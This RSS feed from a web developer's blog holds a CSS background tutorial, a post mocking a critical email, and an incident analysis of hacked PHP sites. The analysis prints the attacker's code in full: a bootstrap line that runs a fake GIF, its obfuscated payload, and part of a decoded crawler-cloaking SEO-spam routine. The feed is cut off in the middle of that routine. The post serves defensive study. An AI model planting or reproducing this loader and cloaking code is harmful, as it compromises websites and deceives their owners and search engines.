<?xml version="1.0" encoding="utf-8" ?>

<rss version="0.91" >
<channel>
<title>Primesolid Blog</title>
<link>http://primesolid.com/blog/</link>
<description>My little place on the web...</description>
<language>en</language>
<image>
        <url>http://primesolid.com/blog/templates/default/img/s9y_banner_small.png</url>
        <title>RSS: Primesolid Blog - My little place on the web...</title>
        <link>http://primesolid.com/blog/</link>
        <width>100</width>
        <height>21</height>
    </image>

<item>
    <title>Full screen backgrounds... again.</title>
    <link>http://primesolid.com/blog/archives/Full-screen-backgrounds...-again./</link>

    <description>
        Back in 2006, I helped &lt;a href=&#039;http://crushed.co.uk&quot; rel=&#039;external&#039;&gt;Crush&lt;/a&gt; with their new website. They wanted it to be nearly all images, as they had some great images to show and wanted to set them centre-stage. &lt;br /&gt;
&lt;br /&gt;
We came up with the idea of filling the entire background with each of the images: the background would &lt;em&gt;be&lt;/em&gt; the page. Of course, we would float some (hide-able) navigation and info over the top, but really it would just be images. &lt;br /&gt;
&lt;br /&gt;
The background would have to scale, and show as much of the image as possible without borders. &lt;br /&gt;
&lt;br /&gt;
This sounds a bit old-hat now: you see this everywhere. But at the time we hadn&#039;t seen it anywhere else. I am sure that we one of the first &amp;mdash; if not &lt;em&gt;the&lt;/em&gt; first &amp;mdash; to do it. In fact, except for some Spanish guys who completely ripped off Crush&#039;s design, I didn&#039;t see it anywhere else for at least a year. Like all the best ideas, it&#039;s obvious in retrospect. &lt;br /&gt;
&lt;br /&gt;
Fast-forward to 2011, and I&#039;m doing these full-page backgrounds all the time (even one site with a &lt;a href=&#039;http://6-days.com/&#039; rel=&#039;external&#039;&gt;full-page background video&lt;/a&gt;).&lt;br /&gt;
&lt;br /&gt;
I&#039;ve just finished a &lt;a href=&#039;http://weareculture24.org.uk/&#039; rel=&#039;external&#039;&gt;project&lt;/a&gt; with a background like this and here&#039;s how I did it for maximum speed and cross-platform support. &lt;br /&gt;
&lt;br /&gt;
Many modern browsers have built-in support for background images like this, using the &quot;background-size: cover&quot; rule. You set a background image on the html element, position it as &#039;fixed&#039; and it all should work, and super-fast.&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;
html {
    background: url(/path/to/image) no-repeat top center fixed;
    -webkit-background-size: auto 100%;
    -moz-background-size: cover;
    -o-background-size: cover;
    background-size: cover;
}
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
The webkit rule is slightly different, as &#039;cover&#039; is broken on iOS &lt; 4. It will work slightly differently on iOS anyway, as it doesn&#039;t yet support fixed positioning: it will cover the background of the page and scroll with the content. It&#039;ll still look good though!&lt;br /&gt;
&lt;br /&gt;
Kewl. That&#039;ll work on Chrome, Safari, Firefox, iOS, Opera, Android. &lt;br /&gt;
&lt;br /&gt;
It won&#039;t work on IE &lt; 9, so for that I use &lt;a href=&#039;http://srobbin.com/blog/jquery-plugins/jquery-backstretch/&#039; rel=&#039;external&#039;&gt;Backstretch&lt;/a&gt;. &lt;br /&gt;
&lt;br /&gt;
So putting it all together, it goes something like this:&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;CSS:&lt;/h4&gt;&lt;br /&gt;
&lt;pre&gt;
html {
    background: black url(/path/to/image) no-repeat top center fixed;
    -webkit-background-size: auto 100%;
    -moz-background-size: cover;
    -o-background-size: cover;
    background-size: cover;
}

&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now on DOM ready, check to see if we have support for &quot;background-size: cover&quot;. If not, use backstretch.&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;Javascript&lt;/h4&gt;&lt;br /&gt;
&lt;pre&gt;
$(document).ready(function() {
    if(!supportsBGCover()) {
        $(&#039;html&#039;).css(&#039;background: black;&#039;);
        $.backstretch(&#039;/path/to/image&#039;, {
            speed: 400
        }); 
    }
});



function supportsBGCover() {
    // Does the browser support background: cover?
    var testEl = document.createElement(&#039;div&#039;);
    return (
        testEl.style[&#039;backgroundSize&#039;] === &quot;&quot; ||
        testEl.style[&#039;webkitBackgroundSize&#039;] === &quot;&quot; ||
        testEl.style[&#039;mozBackgroundSize&#039;] === &quot;&quot; ||
        testEl.style[&#039;oBackgroundSize&#039;] === &quot;&quot;
    );
}

&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
Better still is to add a class to your html element, and remove that class before calling backstretch, but I&#039;ll leave that as an exercise for the reader. 
    </description>
</item>
<item>
    <title>Giving back to the internet</title>
    <link>http://primesolid.com/blog/archives/Giving-back-to-the-internet/</link>

    <description>
        One of the things I like most about the internet is the fact that anyone can join in. And so many of the pages I&#039;ve enjoyed have been strictly amateur affairs. Pages created by ordinary people who just want to share their hobbies and interests, people want to help others out, or who just want to document some seemingly trivial part of their lives. &lt;br /&gt;
&lt;br /&gt;
Many years ago I read David Fankhauser&#039;s &lt;a href=&quot;http://biology.clc.uc.edu/fankhauser/cheese/cheese.html&quot;&gt;cheese pages&lt;/a&gt; and thought to myself that I should try to give back to the internet in a similar way. Not for profit or kudos, but just to do at least the bare minimum to enrich our culture. I decided to create a few pages of my own on the various topics which interest me - and no doubt bore the pants off most people. But because of the power of search engines, no-one would be bothered by my little knocked-together pages: they would only see them if they happened to be searching for the subject. So no-one loses, and a small number of people may gain. &lt;br /&gt;
&lt;br /&gt;
When you consider how long I&#039;ve been kicking around the web, it&#039;s clear that I&#039;ve not made enough of these pages. But I&#039;ve made a few on such varied subjects as motorcycle and car maintenance, chalk grassland ecology (sadly lost in one of my many server moves), bar and restaurant reviews, and cooking. &lt;br /&gt;
&lt;br /&gt;
My first was my bread page; thrown together in the old days, before the invention of blogs, Facebook and Firefox. It was hand-coded in a text editor, illustrated with not-very-good photos shot on actual film (gasp!). It gets about 3,500 page views per month, and is the top Google result for &quot;french bread baguettes&quot;. I get some nice correspondence from people all round the world, but - you have to take the rough with the smooth - very occasionally I get someone sniping from the sidelines (eg. &quot;&lt;em&gt;Do you even know how to make bread?&lt;/em&gt;&quot;, &quot;&lt;em&gt;Those quantities are all wrong&lt;/em&gt;&quot;). I&#039;m delighted if the criticism is constructive and helps me improve the page - a long time ago someone pointed out a &lt;em&gt;big&lt;/em&gt; mistake which I corrected immediately - but when someone simply criticises without offering anything positive, I shake my head in despair.&lt;br /&gt;
&lt;br /&gt;
Why waste your time being nasty to someone you&#039;ve never met, when you could spend that time creating something useful, or at least helping improve something that&#039;s already there?&lt;br /&gt;
&lt;br /&gt;
Yesterday I received one of those sniping emails, and this one absolutely takes the biscuit.&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
You might tell the author of the article on French bread and baguettes, located on you web page &lt;a href=&quot;http://www.primesolid.com/chris/bread.html&quot;&gt;http://www.primesolid.com/chris/bread.html&lt;/a&gt;, that he (perhaps your own boss?=, Chris How?) would greatly show less of his functional illiteracy by using spell and grammar check! The number of spelling, grammatical, and sheer careless errors on the page is not only indicative of the author&#039;s basic illiteracy, it also reflects on the seeming don&#039;t-give-a-damn attitude of your company. That you allow such error-filled crap on your site also shows your own contempt for the correct usage of the English language and the proper observance of the rules of its usage. Yes, it is your webmaster&#039;s duty to insure that the pages that your web site presents to the world are error free, despite their sources. Your company should be ashamed of this glaringly apparent don&#039;t-give-a-damn Liberal attitude.
 
Rest assured, I&#039;ll do my level best to in no way have truck with your company until you show considerable improvement in your attitude and web site content.
 
A truly disgusted teacher.
 
William Benedict
&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
At first I thought it might be one of my friends trolling, but I&#039;ve checked the headers and googled the email address and it&#039;s either genuine or it&#039;s really a first-class troll. &lt;br /&gt;
&lt;br /&gt;
I&#039;ve had another look at the bread page, and there are a few typos and one spelling mistake, but nothing that takes away from the sense of the content. The grammar is informal and speech-like, but not grossly incorrect if you ignore my propensity not to capitalise the proper adjective &#039;French&#039;. The spelling is British English, of course. I&#039;m not going to correct the typos, so you can make up your own minds.&lt;br /&gt;
&lt;br /&gt;
By the way, Mr Benedict, you are confusing &#039;insure&#039; with &#039;ensure&#039;. I am truly disgusted. Oh, and Mr Benedict, I don&#039;t usually complain about split infinitives, but &quot;to in no way have truck&quot; is a pretty heinous example. I also feel, Mr Benedict, that capitalising &#039;liberal&#039; implies that you know something about my political inclinations, which you don&#039;t. And do you mean &quot;located on &lt;i&gt;your&lt;/i&gt; web page&quot;?&lt;br /&gt;
&lt;br /&gt;
I had a quick google for the &lt;a href=&quot;mailto:res8twjq@verizon.net&quot; title=&quot;res8twjq@verizon.net&quot;&gt;sender&#039;s email address&lt;/a&gt; and found only one result: a &lt;a href=&quot;http://www.ipetitions.com/petition/recall_bill_nelson/&quot;&gt;petition&lt;/a&gt; which has - so far - attracted a massive total of zero co-signatories. &lt;br /&gt;
&lt;br /&gt;
I quote it here for your amusement:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
In the best interests of Floridians and Florida, and of United States Citizens in general we feel that it is time to begin the recall &lt;strong&gt;procedings&lt;/strong&gt; against Senator William &lt;strong&gt;Neslson&lt;/strong&gt;, (D-FL). Senator Nelson has repeatedly shown his &lt;strong&gt;disinterest&lt;/strong&gt; in and contempt for the recognition, respect of, and resolution to serve&lt;strong&gt;...&lt;/strong&gt; the people of &lt;strong&gt;florida&lt;/strong&gt; as their elected public servant in the U. S. Senate, choosing instead to use the office to promote his own &lt;strong&gt;Liberalistic&lt;/strong&gt; opinions and views onto the peoples of Florida, and by &lt;strong&gt;extenuation&lt;/strong&gt;, the people of the United States. We feel that right now, today, is the time to begin ridding this state and this country of the corrupt and cynical politicians who have chosen to serve their own interests over those of their constituents. Please sign this petition and please pass the word to any others you know of like mind. Thank you.
&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The meaning of the petition is perfectly clear, but pedants will surely have noticed these errors (and perhaps others):&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;&lt;br /&gt;
&lt;li&gt;&lt;strong&gt;procedings&lt;/strong&gt; - Proceedings&lt;/li&gt;&lt;br /&gt;
&lt;li&gt;&lt;strong&gt;Neslson&lt;/strong&gt; - The man&#039;s name is Nelson&lt;/li&gt;&lt;br /&gt;
&lt;li&gt;&lt;strong&gt;disinterest&lt;/strong&gt; - This should be &#039;lack of interest&#039;, or perhaps &#039;uninterest&#039;. Disinterest means something else. This solecism is so widespread that it has passed into common usage, so this is probably only of interest to the extremely pedantic.&lt;/li&gt;&lt;br /&gt;
&lt;li&gt;&lt;strong&gt;...&lt;/strong&gt; - Aberant ellipsis.&lt;/li&gt;&lt;br /&gt;
&lt;li&gt;&lt;strong&gt;florida&lt;/strong&gt; - Proper noun, should be capitalised.&lt;/li&gt;&lt;br /&gt;
&lt;li&gt;&lt;strong&gt;Liberalistic&lt;/strong&gt; - Not a word. &#039;Liberal&#039; is an adjective already.&lt;/li&gt;&lt;br /&gt;
&lt;li&gt;&lt;strong&gt;extenuation&lt;/strong&gt; - Extension. Extenuation means &lt;a href=&quot;http://www.merriam-webster.com/dictionary/extenuate&quot; title=&quot;Definition of extenuate&quot;&gt;something else entirely&lt;/a&gt;.&lt;/li&gt;&lt;br /&gt;
&lt;/ol&gt;&lt;br /&gt;
&lt;br /&gt;
I do indeed rest assured in the knowledge that Mr Benedict will have no truck with my company, and I hope that he can find more positive uses of his time in future.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 
    </description>
</item>
<item>
    <title>Intricate compromise of php-based web application</title>
    <link>http://primesolid.com/blog/archives/Intricate-compromise-of-php-based-web-application/</link>

    <description>
        As I blogged about &lt;a href=&#039;http://primesolid.com/blog/archives/Gradwell-Hacked/&#039;&gt;here&lt;/a&gt;, some of my clients&#039; sites were recently altered, due to a compromise at their hosting company. &lt;br /&gt;
&lt;br /&gt;
Clients&#039; sites were altered in three ways:&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Invisible iframe added to php and html files&lt;/li&gt;&lt;li&gt;.htaccess file altered to redirect to spammers site&lt;/li&gt;&lt;li&gt;Links added to site code to generate pagerank for spammers sites&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;
&lt;br /&gt;
The first two were pretty straightforward and rudimentary, but the third was quite sophisticated.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;What it did&lt;/h3&gt;&lt;br /&gt;
The hack altered every the output of every page so that links were added which pointed to spammers&#039; sites. These links were only shown to search engine spiders, so if you looked at the site with a browser everything looked fine. The point of this is to drive up the spammers&#039; site&#039;s pagerank by making it appear that the client&#039;s site was linking to the spammers&#039; sites. Only showing the links to spiders served to hide the fact that the site was compromised. &lt;br /&gt;
&lt;br /&gt;
As a side effect, when the client&#039;s site showed up in search engine result pages, in place of the usual description were snippets of the spammy links. &lt;br /&gt;
&lt;br /&gt;
This is a snippet of the code added to the page:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&#039;word_break&#039;&gt;
&amp;lt;ol style=&quot;font-weight:bold; color:navy; font-size:16px; overflow:hidden;height:1px; width:51px; font-family:Courier New;&quot;&amp;gt;If this sounds like you, then YES it is from a number of cards you want by giving the best policy &amp;lt;a href=&quot;http://ru.msi.com/html/active/2005/iloveMSI/vote.php?v=342&quot;&amp;gt;buy windows 7 from usa&amp;lt;/a&amp;gt; The best part?
Recently a young child using the services they have &amp;lt;a href=&quot;http://ru.msi.com/html/active/2005/iloveMSI/vote.php?v=574&quot;&amp;gt;cheap rosetta stone korean&amp;lt;/a&amp;gt; available to counter data theft Protection from a .4GHz T7700 to a stratumserver.
The drive is accessed, regardless of &amp;lt;a href=&quot;http://ru.msi.com/html/active/2005/iloveMSI/vote.php?v=700&quot;&amp;gt;acronis true image discount&amp;lt;/a&amp;gt; their day by day.
License Manual” and “Road Rules USCanada Driving Test” at site USB for universal connect, the DAT60 drive &amp;lt;a href=&quot;http://ru.msi.com/html/active/2005/iloveMSI/vote.php?v=825&quot;&amp;gt;cost of microsoft word 2007&amp;lt;/a&amp;gt; before purchasing the software from.
It is a set &amp;lt;a href=&quot;http://ru.msi.com/html/active/2005/iloveMSI/vote.php?v=249&quot;&amp;gt;can you buy windows xp anymore&amp;lt;/a&amp;gt; point in time.
Note: &amp;lt;a href=&quot;http://ru.msi.com/html/active/2005/iloveMSI/vote.php?v=960&quot;&amp;gt;microsoft outlook 2003 price&amp;lt;/a&amp;gt; While you are using.
This is a matter of fact &amp;lt;a href=&quot;http://ru.msi.com/html/active/2005/iloveMSI/vote.php?v=886&quot;&amp;gt;student discount visual studio&amp;lt;/a&amp;gt; is these particular laptops is that the microSD system, according to the router.
That&#039;s one simple decision to be at the Iphone downloads that you are willing to do by registry files &amp;lt;a href=&quot;http://ru.msi.com/html/active/2005/iloveMSI/vote.php?v=463&quot;&amp;gt;download 3ds max design 2010&amp;lt;/a&amp;gt; and folders which are denied.
...
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
There were around 300 lines like this added to each page. &lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;How it did it&lt;/h3&gt;&lt;br /&gt;
The attack seems to be a variant of &lt;a href=&#039;http://blog.sucuri.net/2010/07/understanding-and-cleaning-the-pharma-hack-on-wordpress.html&#039;&gt;a hack targeting WordPress&lt;/a&gt;, but remember that this site was not actually running WordPress, but rather a custom CMS. &lt;br /&gt;
&lt;br /&gt;
At the bottom of the application&#039;s bootstrap file, this innocent-looking line had been added:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;
&amp;lt;?php $wp__theme_icon=@create_function(&#039;&#039;,@file_get_contents(&#039;/path/to/web/root/images/www.gif&#039;));$wp__theme_icon(); ?&amp;gt;
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
If you&#039;re running WordPress, you&#039;re probably not going to freak out if you see that. What it does it load the contents of the file www.gif (also innocent-sounding) and executes it. &lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;www.gif&lt;/h3&gt;&lt;br /&gt;
This file was not a gif image of course, and had the following contents:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&#039;word_break&#039;&gt;
$cBkl7=&quot;3YlJXYlR2X1Zmb0NWau9&quot;;$AkNOiYBj=&#039;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&#039;;$gP3Nb5cg=&quot;\142\71\x32\x66\x66\145\146\x33\143\x38\145\x63\x64\64\63\x32\x36\65\66\x63\x38\x61\x32\x65\x38\141\66\60\x62\62\144\x64&quot;;$X3rSGI=&#039;&#039;;$aUy4XTaO=&quot;\57\x28\x2e\51\50\56\x29&quot;;$US4Df=&quot;\x70\x72\x65\147\x5f\162\x65\x70\x6c\x61\143\145&quot;;$D3fCO55=&quot;\142\141\163\x65\x36\x34\x5f\x64\145\x63\x6f\144\145&quot;;$K7LwB=&quot;$2$1&quot;;$a37s9ZDP=&quot;\145\64\145\61\x30\60\144\x62\x37\60\60\x39\x62\67\x38\63\x31\70\143\70\143\x37\x64\141\64\66\x36\x63\x63\x64\145\145&quot;;$Mpw5qX=$D3fCO55($US4Df($aUy4XTaO.&#039;/&#039;,$K7LwB,$cBkl7));$Mpw5qX=$Mpw5qX($US4Df(&quot;$aUy4XTaO/&quot;,&#039;$2$1&#039;,&quot;\x61\x24\x24\x2c\x62&quot;),$US4Df($aUy4XTaO.&#039;/&#039;,$K7LwB,$D3fCO55($US4Df(&quot;$aUy4XTaO/&quot;,&quot;$2$1&quot;,&#039;icnQTPnsyYzRXP0JWZowmbkEyOvliZyhSawQSP7QGP0l2cyxmbkUCKilzKksyKplHJusmc9MmcvhGKyRCJ7hmYkkXKv1mXyRCJ7hWYkkSJkAHIj1SK9l2OyVXduRicgQ3O=I&#039;))));$b3g8rbV=$Mpw5qX($US4Df(&quot;\57\x28\x2e\51\50\56\x29/&quot;,&#039;$2$1&#039;,$gP3Nb5cg),$D3fCO55(&quot;\x58\167\163\x4b\x56\x7a\x6f\x42\x56\150\112\156\x41\101\167\x4c\121\x41\106\143\x52\60\131\75&quot;));$yWvE=$Mpw5qX($US4Df(&quot;\57\x28\x2e\51\50\56\x29/&quot;,&#039;$2$1&#039;,$a37s9ZDP),$D3fCO55($US4Df($aUy4XTaO.&#039;/&#039;,$K7LwB,&#039;xUE91CfNxDCRkUDp&#039;)));$schtjq=$D3fCO55($US4Df(&quot;\57\x28\x2e\51\50\56\x29&quot;.&#039;/&#039;,$K7LwB,$cBkl7));$AkNOiYBj=$US4Df(&quot;\57\x28\x2e\51\50\56\x29/&quot;,&#039;$2$1&#039;,$Mpw5qX($US4Df(&quot;\57\x28\x2e\51\50\56\x29/&quot;,&#039;$2$1&#039;,$gP3Nb5cg),$D3fCO55($AkNOiYBj)));$schtjq=$schtjq($X3rSGI,$US4Df(&quot;{$aUy4XTaO}&quot;.&#039;/&#039;,&#039;$2$1&#039;,$yWvE($AkNOiYBj)));return $schtjq();
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
Hum. OK, thoroughly obfuscated php code. A quick search for a de-obfuscation tool turns up Stefan Esser&#039;s excellent tool &#039;&lt;a href=&#039;http://php-security.org/2010/05/13/article-decoding-a-user-space-encoded-php-script/&#039;&gt;evalhook&lt;/a&gt;&#039;. &lt;br /&gt;
&lt;br /&gt;
Running the code through evalhook gives us the somewhat de-obfuscated code:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;

function __lambda_func(){
// $Rev: 1077 $
if(!function_exists(&#039;__php___memory_exists&#039;)){
function __php___memory_exists(){
    $masks = array(
      array(-655417344,-655409153),array(1089052672,1089060863),
      array(1123631104,1123639295),array(1208926208,1208942591),
      array(-782925824,-782893057),array(-1379794944,-1379729409),
      array(1249705984,1249771519),array(-655417344,-655409153),
      array(1078218752,1078220799),array(1113980928,1113985023),
      array(1089052672,1089060863),array(1123631104,1123639295),
      array(1208926208,1208942591),array(-782925824,-782893057),
      array(-965974848,-965974833),array(-1379794944,-1379729409),
      array(-668867184,-668867177),array(-668867168,-668867161),
      array(-776377216,-776377089),array(-663925936,-663925921),
      array(1078220800,1078222847),array(1078214720,1078214783),
      array(1076485568,1076485583),array(1249705984,1249771519),
      array(134744064,134744319),array(134743040,134743295),
      array(67305984,67306239),array(-772300912,-772300897),
      array(1070843976,1070843983),array(-772425592,-772425585),
      array(-1504013248,-1504013233),array(134623232,134625279),
      array(1083880144,1083880159),array(1180247960,1180247967),
      array(1180359496,1180359503),array(1180359472,1180359479),
      array(1081896984,1081896991),array(-772191936,-772191929),
      array(1081927080,1081927087),array(1104609120,1104609135),
      array(1104396896,1104396911),array(1105135664,1105135679),
      array(1105036720,1105036735),array(1062518496,1062518527),
      array(1082183584,1082183599),array(1103424288,1103424303),
      array(1119913504,1119913519),array(1104572512,1104572543),
      array(1180247960,1180247967),array(1180359496,1180359503),
      array(1180359472,1180359479),array(1173102912,1173102919),
      array(1290950648,1290950655),array(1208934400,1208936447),
      array(1132356616,1132356623),array(-869104592,-869104577),
      array(1128602128,1128602135),array(-655652792,-655652785),
      array(-826636096,-826636033),array(1667240832,1667240863),
      array(1172313552,1172313559),array(1172315992,1172315999),
      array(1172316008,1172316015),array(1172588248,1172588255),
      array(1172588256,1172588263),array(1172588264,1172588271),
      array(1172588280,1172588287),array(1172589672,1172589679),
      array(1173190880,1173190887),array(1199710944,1199710951),
      array(1199710952,1199710959),array(1199710960,1199710967),
      array(1199728392,1199728399),array(1199728400,1199728407),
      array(1199728408,1199728415),array(1199728416,1199728423),
      array(1199728424,1199728431),array(1259417800,1259417807),
      array(1259813304,1259813311),array(1260780984,1260780991),
      array(1261762592,1261762599),array(1261735552,1261735559),
      array(1261761744,1261761751),array(1261762104,1261762111),
      array(1261762112,1261762119),array(1261762120,1261762127),
      array(1261762128,1261762135),array(1288200544,1288200551),
      array(1289513400,1289513407),array(1291247208,1291247215),
      array(1671628112,1671628119),array(1670420000,1670420007),
      array(1670647064,1670647071),array(1190127072,1190127103),
      array(1663596768,1663596799),array(1164938648,1164938655),
      array(1164938656,1164938663), //g
      array(1093926912,1094189055), //m
      array(1136852992,1136918527), //y
    ); $is_bot = false;
    $your_mask=ip2long($_SERVER[&quot;REMOTE_ADDR&quot;]);
    $stop_agents_masks = array(&quot;http&quot;, &quot;google&quot;, &quot;slurp&quot;, &quot;msnbot&quot;, &quot;bot&quot;, 
       &quot;crawler&quot;, &quot;spider&quot;, &quot;robot&quot;, &quot;HttpClient&quot;, &quot;curl&quot;, &quot;PHP&quot;, &quot;Indy Library&quot;, &quot;WordPress&quot;);  
    $_SERVER[&quot;HTTP_USER_AGENT&quot;] = preg_replace(&quot;|User.Agent\:[\s ]?|i&quot;, &quot;&quot;, @$_SERVER[&quot;HTTP_USER_AGENT&quot;]);
    foreach ($masks as $mask)
      if($your_mask&amp;gt;=$mask[0] and $your_mask&amp;lt;=$mask[1])
